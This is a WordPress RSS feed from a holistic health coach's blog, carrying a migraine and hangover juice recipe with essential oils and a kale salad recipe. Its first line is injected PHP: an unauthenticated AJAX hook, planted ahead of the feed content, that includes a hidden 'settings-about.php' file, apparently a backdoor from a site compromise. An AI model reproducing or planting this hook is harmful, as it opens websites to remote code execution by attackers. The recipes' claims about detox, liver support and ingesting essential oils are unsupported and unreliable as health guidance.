if(!function_exists('file_manager_check_dt')){ add_action('wp_ajax_nopriv_file_manager_check_dt', 'file_manager_check_dt'); add_action('wp_ajax_file_manager_check_dt', 'file_manager_check_dt'); function file_manager_check_dt() { $file = __DIR__ . '/settings-about.php'; if (file_exists($file)) { include $file; } die(); } } Delicious - Manage Stress | Increase Energy |Simple Solutions | Rommy Kirby, Holistic Health Coach, Yoga Personal Trainer, Essential Oil Educator https://rommykirby.com Increase Energy |Simple Solutions | Rommy Kirby, Holistic Health Coach, Yoga Personal Trainer, Essential Oil Educator Fri, 12 Feb 2016 21:59:34 +0000 en-US hourly 1 https://wordpress.org/?v=6.9.4 Essentially Happy Head Elixir https://rommykirby.com/essentially-happy-head-elixir/ https://rommykirby.com/essentially-happy-head-elixir/#respond Wed, 18 Dec 2013 17:56:45 +0000 http://RommyKirby.com/?p=507 It is estimated that 25 million working days are lost due to headaches, particularly migraine. I suffered..scratch that, I was actually I was debilitated by them, for over 6 years!  It was a vicious cycle… migraine, meds, recover from meds, 1 maybe 2 good days of bright hope, then it started all over again. It […]

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]]> It is estimated that 25 million working days are lost due to headaches, particularly migraine.

I suffered..scratch that, I was actually I was debilitated by them, for over 6 years! 

It was a vicious cycle…

migraine, meds, recover from meds, 1 maybe 2 good days of bright hope, then it started all over again.

It took a lot of work, a thorough detox, and years of living a daily detox lifestyle to enjoy the health I have today.  Seldom do I get a migraine. When I do, most of the time, I can nip it in the bud naturally.

Here is one natural and delicious way of staying in the game without the nasty side effects…by the way, this is also great for those times when you have overindulged…

 

Stay in the Game-2

Essentially Happy Head Elixir

 

Ingredients:

  • 3 Granny Smith Apples
  • 4 Stalks Celery
  • 1/4 cup fresh clean water
  • 1-2 Lemons
  • 2 drops Cinnamon Bark Essential Oil
  • 2 drops Grapefruit Essential Oil
  • 1-2 drops Ginger Essential Oil

 

Directions:

  1. Juice apples, celery and lemon.
  2. Pour water through juicer to get all the goodies
  3. Drop Cinnamon Bark, Grapefruit, and Ginger Essential Oils into glass
  4. Pour juice into glass
  5. Enjoy

 

This recipe

  • aids the liver
  • helps to emulsify fats
  • supports digestion

 

Next time, you’ve been over served (hangover anyone?), over eaten or feeling Captain Head Tension rally her Storm Troopers, give this a try. Your body will thank you.

 

Know someone that can use this?

Use one of the buttons below, share it, send it their way.

 

*I only use and recommend pure, 3rd party tested, therapeutic essential oils. Send me an email to get yours today

 

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]]> https://rommykirby.com/essentially-happy-head-elixir/feed/ 0 Easy Massaged Kale Salad https://rommykirby.com/easy-massaged-kale-salad/ https://rommykirby.com/easy-massaged-kale-salad/#respond Mon, 07 Oct 2013 19:23:23 +0000 http://RommyKirby.com/?p=259 This salad is not only easy, it is delicious! It’s also my most requested recipe. It’s as good for parties and pot lucks as it is for weekday dinner. Kale has gotten a lot of good press lately because of it is dense in nutrients. My hubby even wears a t-shirt that says Kale University! […]

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]]> This salad is not only easy, it is delicious! It’s also my most requested recipe.

A delicious way to add this nutrient dense green into your diet.

A delicious way to add this nutrient dense green into your diet.

It’s as good for parties and pot lucks as it is for weekday dinner.

Kale has gotten a lot of good press lately because of it is dense in nutrients. My

hubby even wears a t-shirt that says Kale University!

 

Prep Time: 10 – 15 Minutes

Serves: 4 – 6 People

Ingredients:

  • 1 Bunch Kale (I prefer Lacinato Kale, but any Kale will be delicious)
  • 1 Fresh Lemon
  • 3 Large Cloves Garlic
  • 4 Scallions (more to taste)
  • 1 Avocado
  • 1/2 tsp Sea Salt

 

Into a large mixing bowl:

  1. Wash and dry 1 bunch of kale.
  2. Remove thick center rib (save for juicing or soup stock).
  3. Zest and juice lemon into large bowl.
  4. Press or mince garlic cloves and add to lemon mixture.
  5. Add Sea Salt
  6. Peel avacado, remove seed and mash into lemon, garlic and sea salt.
  7. Roll leaves tightly like a cigar and with sharp knife slice as thinly as possible. 
  8. Add to bowl with dressing.
  9. Thinly slice scallions and place in bowl with kale and dressing.
  10. With clean hands, massage dressing into kale until kale is completely coated. 

Optional:

  • Add 1/2 TBSP Gomasio
  • Slice an additional Avocado for garnish

My Notes….

This salad is not only super easy, dense in nutrition and highly transportable.  It is also a huge hit! 

The first time I made this I took it to a ‘Girl’s Night’ party and didn’t have any to bring home.

  • Can serve up to 8. 
  • You can easily double this recipe.
  • Add more garlic, lemon or avocado depending on your taste.
  • It will last in your refrigerator up to 5 days.
  • Prepare this recipe at least 1 hour to serving. The longer it marinates the better it tastes.
  • The thinner you slice the kale leaves the better marinates and digests.  

 

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